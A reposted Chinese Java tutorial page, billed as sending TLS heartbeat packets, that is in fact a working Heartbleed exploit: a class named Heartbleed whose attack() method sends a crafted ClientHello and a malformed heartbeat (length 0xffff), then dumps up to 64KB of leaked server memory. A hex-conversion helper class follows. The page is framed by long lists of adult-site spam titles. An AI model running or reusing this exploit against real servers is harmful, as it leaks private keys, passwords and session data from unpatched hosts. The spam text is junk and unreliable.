亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 編程 > Java > 正文

java發送heartbeat心跳包(byte轉16進制)

2019-11-26 15:30:42
字體:
來源:轉載
供稿:網友

復制代碼 代碼如下:

package com.jxy.web;

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.UnsupportedEncodingException;
import java.net.Socket;
import java.net.UnknownHostException;

import com.jxy.tools.MyByte;

public class Heartbleed {
 private static byte[] hello = { (byte) 0x16, (byte) 0x03, (byte) 0x02,
   (byte) 0x00, (byte) 0xdc, (byte) 0x01, (byte) 0x00, (byte) 0x00,
   (byte) 0xd8, (byte) 0x03, (byte) 0x02, (byte) 0x53, (byte) 0x43,
   (byte) 0x5b, (byte) 0x90, (byte) 0x9d, (byte) 0x9b, (byte) 0x72,
   (byte) 0x0b, (byte) 0xbc, (byte) 0x0c, (byte) 0xbc, (byte) 0x2b,
   (byte) 0x92, (byte) 0xa8, (byte) 0x48, (byte) 0x97, (byte) 0xcf,
   (byte) 0xbd, (byte) 0x39, (byte) 0x04, (byte) 0xcc, (byte) 0x16,
   (byte) 0x0a, (byte) 0x85, (byte) 0x03, (byte) 0x90, (byte) 0x9f,
   (byte) 0x77, (byte) 0x04, (byte) 0x33, (byte) 0xd4, (byte) 0xde,
   (byte) 0x00, (byte) 0x00, (byte) 0x66, (byte) 0xc0, (byte) 0x14,
   (byte) 0xc0, (byte) 0x0a, (byte) 0xc0, (byte) 0x22, (byte) 0xc0,
   (byte) 0x21, (byte) 0x00, (byte) 0x39, (byte) 0x00, (byte) 0x38,
   (byte) 0x00, (byte) 0x88, (byte) 0x00, (byte) 0x87, (byte) 0xc0,
   (byte) 0x0f, (byte) 0xc0, (byte) 0x05, (byte) 0x00, (byte) 0x35,
   (byte) 0x00, (byte) 0x84, (byte) 0xc0, (byte) 0x12, (byte) 0xc0,
   (byte) 0x08, (byte) 0xc0, (byte) 0x1c, (byte) 0xc0, (byte) 0x1b,
   (byte) 0x00, (byte) 0x16, (byte) 0x00, (byte) 0x13, (byte) 0xc0,
   (byte) 0x0d, (byte) 0xc0, (byte) 0x03, (byte) 0x00, (byte) 0x0a,
   (byte) 0xc0, (byte) 0x13, (byte) 0xc0, (byte) 0x09, (byte) 0xc0,
   (byte) 0x1f, (byte) 0xc0, (byte) 0x1e, (byte) 0x00, (byte) 0x33,
   (byte) 0x00, (byte) 0x32, (byte) 0x00, (byte) 0x9a, (byte) 0x00,
   (byte) 0x99, (byte) 0x00, (byte) 0x45, (byte) 0x00, (byte) 0x44,
   (byte) 0xc0, (byte) 0x0e, (byte) 0xc0, (byte) 0x04, (byte) 0x00,
   (byte) 0x2f, (byte) 0x00, (byte) 0x96, (byte) 0x00, (byte) 0x41,
   (byte) 0xc0, (byte) 0x11, (byte) 0xc0, (byte) 0x07, (byte) 0xc0,
   (byte) 0x0c, (byte) 0xc0, (byte) 0x02, (byte) 0x00, (byte) 0x05,
   (byte) 0x00, (byte) 0x04, (byte) 0x00, (byte) 0x15, (byte) 0x00,
   (byte) 0x12, (byte) 0x00, (byte) 0x09, (byte) 0x00, (byte) 0x14,
   (byte) 0x00, (byte) 0x11, (byte) 0x00, (byte) 0x08, (byte) 0x00,
   (byte) 0x06, (byte) 0x00, (byte) 0x03, (byte) 0x00, (byte) 0xff,
   (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x00,
   (byte) 0x0b, (byte) 0x00, (byte) 0x04, (byte) 0x03, (byte) 0x00,
   (byte) 0x01, (byte) 0x02, (byte) 0x00, (byte) 0x0a, (byte) 0x00,
   (byte) 0x34, (byte) 0x00, (byte) 0x32, (byte) 0x00, (byte) 0x0e,
   (byte) 0x00, (byte) 0x0d, (byte) 0x00, (byte) 0x19, (byte) 0x00,
   (byte) 0x0b, (byte) 0x00, (byte) 0x0c, (byte) 0x00, (byte) 0x18,
   (byte) 0x00, (byte) 0x09, (byte) 0x00, (byte) 0x0a, (byte) 0x00,
   (byte) 0x16, (byte) 0x00, (byte) 0x17, (byte) 0x00, (byte) 0x08,
   (byte) 0x00, (byte) 0x06, (byte) 0x00, (byte) 0x07, (byte) 0x00,
   (byte) 0x14, (byte) 0x00, (byte) 0x15, (byte) 0x00, (byte) 0x04,
   (byte) 0x00, (byte) 0x05, (byte) 0x00, (byte) 0x12, (byte) 0x00,
   (byte) 0x13, (byte) 0x00, (byte) 0x01, (byte) 0x00, (byte) 0x02,
   (byte) 0x00, (byte) 0x03, (byte) 0x00, (byte) 0x0f, (byte) 0x00,
   (byte) 0x10, (byte) 0x00, (byte) 0x11, (byte) 0x00, (byte) 0x23,
   (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x0f, (byte) 0x00,
   (byte) 0x01, (byte) 0x01 };
 private static byte[] bleed = { (byte) 0x18, (byte) 0x03, (byte) 0x02,
   (byte) 0x00, (byte) 0x03, (byte) 0x01, (byte) 0xff, (byte) 0xff };
 private static byte[] tmp;
 private static byte[] pay;

 /**
  * SSL3_RT_CHANGE_CIPHER_SPEC 20
  * SSL3_RT_ALERT 21
  * SSL3_RT_HANDSHAKE 22
  * SSL3_RT_APPLICATION_DATA 23
  * TLS1_RT_HEARTBEAT 24
  *
  * @param args
  * @throws Exception
  */

 public static void main(String[] args) {
  attack("改為自己測試的主機", 465);
  System.exit(0);
 }

 public static boolean attack(String host, int port) {

  System.out.println("開始連接...");
  Socket socket = null;
  try {
   socket = new Socket(host, port);
  } catch (UnknownHostException e) {
   System.out.println("未知主機.");
   return false;
  } catch (IOException e) {
   System.out.println("訪問主機失敗.");
   return false;
  }
  OutputStream out = null;
  try {
   out = socket.getOutputStream();
  } catch (IOException e) {
   System.out.println("獲取輸出流失敗.");
   return false;
  }
  InputStream in = null;
  try {
   in = socket.getInputStream();
  } catch (IOException e) {
   System.out.println("獲取輸入流失敗.");
   return false;
  }

  System.out.println("發送客戶端心跳包...");

  try {
   out.write(hello);
  } catch (IOException e) {
   System.out.println("發送心跳包失敗.");
   return false;
  }

  System.out.println("等待服務器心跳包...");

  while (true) {
   tmp = getData(in, 5);
   if (tmp[0] == 0) {
    System.out.println("服務器沒有返回心跳包并且關閉了連接.");
    return false;
   }

   analyseHead(tmp);

   int len = (int) MyByte.HexString2Long(MyByte
     .byteToHexString(tmp[3]) + MyByte.byteToHexString(tmp[4]));

   pay = getData(in, len);

   if (tmp[0] == 22 && pay[0] == 0x0E) {
    System.out.println("查找到返回正常的心跳包。");
    break;
   }

  }

  System.out.println("發送heartbeat心跳包...");

  try {
   out.write(bleed);
  } catch (IOException e) {
   System.out.println("發送heartbeat心跳包失敗.");
   return false;
  }
  try {
   out.write(bleed);
  } catch (IOException e) {
   System.out.println("發送heartbeat心跳包失敗.");
   return false;
  }

  while (true) {
   tmp = getData(in, 5);
   int len = (int) MyByte.HexString2Long(MyByte
     .byteToHexString(tmp[3]) + MyByte.byteToHexString(tmp[4]));

   if (tmp[0] == 0) {
    System.out.println("沒有heartbeat返回接收到, 服務器看起來不是易受攻擊的");
    return false;
   }

   if (tmp[0] == 24) {
    System.out.println("接收到heartbeat返回:");

    int count=0;//長度計數
    for (int i = 0; i < 4; i++) {//讀4次,全部讀出64KB
     pay = getData(in, len);
     count+=pay.length;
     System.out.print(hexdump(pay));
    }

    System.out.println("/n數據長度為:" + count);

    if (len > 3) {
     System.out
       .println("警告: 服務器返回了原本比它多的數據 -服務器是易受攻擊的!");
    } else {
     System.out
       .println("服務器返回畸形的heartbeat, 沒有返回其他額外的數據");
    }

    break;

   }

   if (tmp[0] == 21) {
    System.out.println("接收到警告:");
    System.out.println(hexdump(pay));
    System.out.println("服務器返回錯誤,看起來不是易受攻擊的");
    break;
   }

  }

  try {
   out.close();
   in.close();
  } catch (IOException e) {
   System.out.println("關閉輸入輸出流異常");
  }

  return true;
 }

 public static byte[] getData(InputStream in, int lenth) {
  byte[] t = new byte[lenth];
  try {
   in.read(t);
  } catch (IOException e) {
   System.out.println("接受數據錯誤");
  }
  return t;
 }

 public static String hexdump(byte[] pay) {
  String s = "";
  try {
   s = new String(pay, "GB2312");
  } catch (UnsupportedEncodingException e) {
   System.out.println("未知編碼");
  }
  return s;
 }

 public static void analyseHead(byte[] tmp) {
  System.out.print("接收到消息: ");
  System.out.print("類型:" + tmp[0] + "/t");
  System.out.print("版本:" + MyByte.byteToHexString(tmp[1])
    + MyByte.byteToHexString(tmp[2]) + "/t");
  System.out.println("長度:"
    + MyByte.HexString2Long(MyByte.byteToHexString(tmp[3])
      + MyByte.byteToHexString(tmp[4])));

 }

}

復制代碼 代碼如下:

package com.jxy.tools;

/**
 * 16進制值與String/Byte之間的轉換
 * */
public class MyByte {

 /**
  * 字符串轉換成十六進制字符串
  *
  * @param String
  *            str 待轉換的ASCII字符串
  * @return String 每個Byte之間空格分隔,如: [61 6C 6B]
  */
 public static String str2HexStr(String str) {

  char[] chars = "0123456789ABCDEF".toCharArray();
  StringBuilder sb = new StringBuilder("");
  byte[] bs = str.getBytes();
  int bit;

  for (int i = 0; i < bs.length; i++) {
   bit = (bs[i] & 0x0f0) >> 4;
   sb.append(chars[bit]);
   bit = bs[i] & 0x0f;
   sb.append(chars[bit]);
   sb.append(' ');
  }
  return sb.toString().trim();
 }

 /**
  * 十六進制轉換字符串
  *
  * @param String
  *            str Byte字符串(Byte之間無分隔符 如:[616C6B])
  * @return String 對應的字符串
  */
 public static String hexStr2Str(String hexStr) {
  String str = "0123456789ABCDEF";
  char[] hexs = hexStr.toCharArray();
  byte[] bytes = new byte[hexStr.length() / 2];
  int n;

  for (int i = 0; i < bytes.length; i++) {
   n = str.indexOf(hexs[2 * i]) * 16;
   n += str.indexOf(hexs[2 * i + 1]);
   bytes[i] = (byte) (n & 0xff);
  }
  return new String(bytes);
 }

 /**
  * String的字符串轉換成unicode的String
  *
  * @param String
  *            strText 全角字符串
  * @return String 每個unicode之間無分隔符
  * @throws Exception
  */
 public static String strToUnicode(String strText) throws Exception {
  char c;
  StringBuilder str = new StringBuilder();
  int intAsc;
  String strHex;
  for (int i = 0; i < strText.length(); i++) {
   c = strText.charAt(i);
   intAsc = (int) c;
   strHex = Integer.toHexString(intAsc);
   if (intAsc > 128)
    str.append("http://u" + strHex);
   else
    // 低位在前面補00
    str.append("http://u00" + strHex);
  }
  return str.toString();
 }

 /**
  * unicode的String轉換成String的字符串
  *
  * @param String
  *            hex 16進制值字符串 (一個unicode為2byte)
  * @return String 全角字符串
  */
 public static String unicodeToString(String hex) {
  int t = hex.length() / 6;
  StringBuilder str = new StringBuilder();
  for (int i = 0; i < t; i++) {
   String s = hex.substring(i * 6, (i + 1) * 6);
   // 高位需要補上00再轉
   String s1 = s.substring(2, 4) + "00";
   // 低位直接轉
   String s2 = s.substring(4);
   // 將16進制的string轉為int
   int n = Integer.valueOf(s1, 16) + Integer.valueOf(s2, 16);
   // 將int轉換為字符
   char[] chars = Character.toChars(n);
   str.append(new String(chars));
  }
  return str.toString();
 }

 /**
  * 合并兩個byte數組
  *
  * @param pByteA
  * @param pByteB
  * @return
  */
 public static byte[] getMergeBytes(byte[] pByteA, byte[] pByteB) {
  int aCount = pByteA.length;
  int bCount = pByteB.length;
  byte[] b = new byte[aCount + bCount];
  for (int i = 0; i < aCount; i++) {
   b[i] = pByteA[i];
  }
  for (int i = 0; i < bCount; i++) {
   b[aCount + i] = pByteB[i];
  }
  return b;
 }

 /**
  * 截取byte數據
  *
  * @param b
  *            是byte數組
  * @param j
  *            是大小
  * @return
  */
 public static byte[] cutOutByte(byte[] b, int j) {
  if (b.length == 0 || j == 0) {
   return null;
  }
  byte[] tmp = new byte[j];
  for (int i = 0; i < j; i++) {
   tmp[i] = b[i];
  }
  return tmp;
 }

 /**
  * 16進制字符串轉換byte數組
  *
  * @param hexstr
  *            String 16進制字符串
  * @return byte[] byte數組
  */
 public static byte[] HexString2Bytes(String hexstr) {
  byte[] b = new byte[hexstr.length() / 2];
  int j = 0;
  for (int i = 0; i < b.length; i++) {
   char c0 = hexstr.charAt(j++);
   char c1 = hexstr.charAt(j++);
   b[i] = (byte) ((parse(c0) << 4) | parse(c1));
  }
  return b;
 }

 private static int parse(char c) {
  if (c >= 'a')
   return (c - 'a' + 10) & 0x0f;
  if (c >= 'A')
   return (c - 'A' + 10) & 0x0f;
  return (c - '0') & 0x0f;
 }

 /**
  * byte轉換為十六進制字符串,如果為9以內的,用0補齊
  *
  * @param b
  * @return
  */
 public static String byteToHexString(byte b) {
  String stmp = Integer.toHexString(b & 0xFF);
  stmp = (stmp.length() == 1) ? "0" + stmp : stmp;
  return stmp.toUpperCase();
 }

 /**
  * 將byte轉換為int
  *
  * @param b
  * @return
  */
 public static int byteToInt(byte b) {
  return Integer.valueOf(b);
 }

 /**
  * bytes轉換成十六進制字符串
  *
  * @param byte[] b byte數組
  * @return String 每個Byte值之間空格分隔
  */
 public static String byteToHexString(byte[] b) {
  String stmp = "";
  StringBuilder sb = new StringBuilder("");
  for (byte c : b) {
   stmp = Integer.toHexString(c & 0xFF);// 與預算,去掉byte轉int帶來的補位
   sb.append((stmp.length() == 1) ? "0" + stmp : stmp);// 是一位的話填充零
   sb.append(" ");// 每位數據用空格分隔
  }
  return sb.toString().toUpperCase().trim();// 變換大寫,并去除首尾空格
 }

 public static long HexString2Long(String hexstr) {
  long sum=0;
  int length=hexstr.length();
  for (int i = 0; i < length; i++) {
   sum+=parse(hexstr.charAt(i))*Math.pow(16,length-i-1);
  }
  return sum;
 }
}

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
国产在线精品一区免费香蕉| 亚洲人成网站999久久久综合| 欧美黑人一区二区三区| 国产亚洲精品久久久久久777| 欧美日韩国产成人在线观看| 国产欧美一区二区三区视频| 久久精品久久精品亚洲人| 亚洲国产精品成人va在线观看| 国产精品久久久久久久久影视| 美女精品久久久| 91成人精品网站| 亚洲国产精品一区二区三区| 91成人天堂久久成人| 亚洲最新中文字幕| 在线播放国产一区二区三区| 国产91久久婷婷一区二区| 欧美亚洲国产视频小说| 久久香蕉频线观| 国产一区二区三区在线| 日韩精品在线视频观看| 日本午夜人人精品| 在线看国产精品| 国产精品入口日韩视频大尺度| 国产日韩欧美在线视频观看| 成人免费视频97| www亚洲欧美| 国产亚洲综合久久| 黄色一区二区在线| 欧美在线视频观看免费网站| 国产精品日韩久久久久| 欧美精品制服第一页| 欧美老女人www| 国产成人精品一区二区在线| 久久久视频免费观看| 成人两性免费视频| 国产精品国产三级国产aⅴ浪潮| 亚洲第一二三四五区| 欧美激情区在线播放| 亚洲精品久久7777777| 日韩视频在线免费观看| 最近2019年好看中文字幕视频| 成人免费在线视频网址| 国产视频精品免费播放| 久久精品精品电影网| 日韩精品免费观看| 久久久精品久久| 欧美性xxxxx极品| 欧美极品xxxx| 中文日韩在线视频| 中日韩美女免费视频网址在线观看| 狠狠躁夜夜躁久久躁别揉| 欧美性猛交xxxxx水多| 亚洲第一区第二区| 成人xvideos免费视频| 国产精品伦子伦免费视频| 国产精品日韩欧美| 久久久久久久香蕉网| 日韩在线观看免费全集电视剧网站| 国产精品69精品一区二区三区| 日本视频久久久| 亚洲欧美日本另类| 欧美精品久久久久久久免费观看| 超碰97人人做人人爱少妇| 欧美精品在线观看| xxxx性欧美| 国产日韩换脸av一区在线观看| 日韩美女免费视频| 亚洲国产精彩中文乱码av在线播放| 亚洲第一区第一页| 综合网中文字幕| 亚洲国产成人精品久久久国产成人一区| 日韩理论片久久| 色偷偷91综合久久噜噜| 欧美风情在线观看| 欧美一区二区三区四区在线| 久久久久久久久久久久久久久久久久av| 国产成人涩涩涩视频在线观看| 插插插亚洲综合网| 亚洲精品美女在线观看播放| 91影院在线免费观看视频| 欧美精品一区二区免费| 国产精品久久久久久久天堂| 国产91在线播放精品91| 久久久亚洲福利精品午夜| 亚洲精品丝袜日韩| 国产91色在线| 欧美日韩中文字幕在线视频| 超薄丝袜一区二区| 国产97在线|亚洲| 日韩美女福利视频| 在线成人中文字幕| 庆余年2免费日韩剧观看大牛| 在线观看日韩专区| 国产精品久久网| 7777免费精品视频| 亚洲国产精品va在看黑人| 欧美与欧洲交xxxx免费观看| 欧美男插女视频| 日本精品免费一区二区三区| 国产精品久久久久久久久久| 成人情趣片在线观看免费| 91成人天堂久久成人| 日韩国产欧美精品一区二区三区| 欧美日韩一区二区免费视频| 国产精品日韩在线观看| 亚洲精品国产精品乱码不99按摩| 欧美精品久久久久a| 狠狠躁夜夜躁久久躁别揉| 国产精品久久久久久久久久久久久久| 国产精品久久久久久久久久| 精品高清美女精品国产区| 国产视频自拍一区| 国产精品久久久久7777婷婷| 日本人成精品视频在线| 亚洲免费一级电影| 欧美一区二粉嫩精品国产一线天| 色午夜这里只有精品| 久久久久久亚洲精品| 国产精品久久999| 欧美在线视频在线播放完整版免费观看| 成人激情视频小说免费下载| 欧美日韩福利电影| 中文字幕日本精品| 国产剧情日韩欧美| 亚洲欧美在线播放| 久久97久久97精品免视看| 在线视频一区二区| 色爱av美腿丝袜综合粉嫩av| 中文字幕少妇一区二区三区| 国产激情999| 91精品国产91久久久久| 97视频国产在线| 狠狠躁天天躁日日躁欧美| 国模私拍视频一区| 日韩av中文字幕在线播放| 国产一区二区三区直播精品电影| 美女性感视频久久久| 在线观看视频亚洲| 97精品视频在线播放| 欧美激情亚洲另类| 91国在线精品国内播放| 欧美一区二区三区免费视| 久久99久久99精品免观看粉嫩| 在线观看精品自拍私拍| 欧美成人激情图片网| 欧美成人精品激情在线观看| 精品福利樱桃av导航| 国语自产精品视频在免费| 国产精品wwwwww| 日韩成人在线视频网站| 久久国产精品久久久久久| 国产精品视频一区二区三区四| 久久久国产精彩视频美女艺术照福利| 亚洲美女在线视频| 久久综合伊人77777尤物| 国产精品成人一区二区三区吃奶| 日韩欧美在线国产| 亚洲精品视频免费在线观看| 欧美极品欧美精品欧美视频| 久久久精品影院| 亚洲一级片在线看| 欧美日韩中国免费专区在线看| 欧美第一淫aaasss性| 国产精品成人观看视频国产奇米|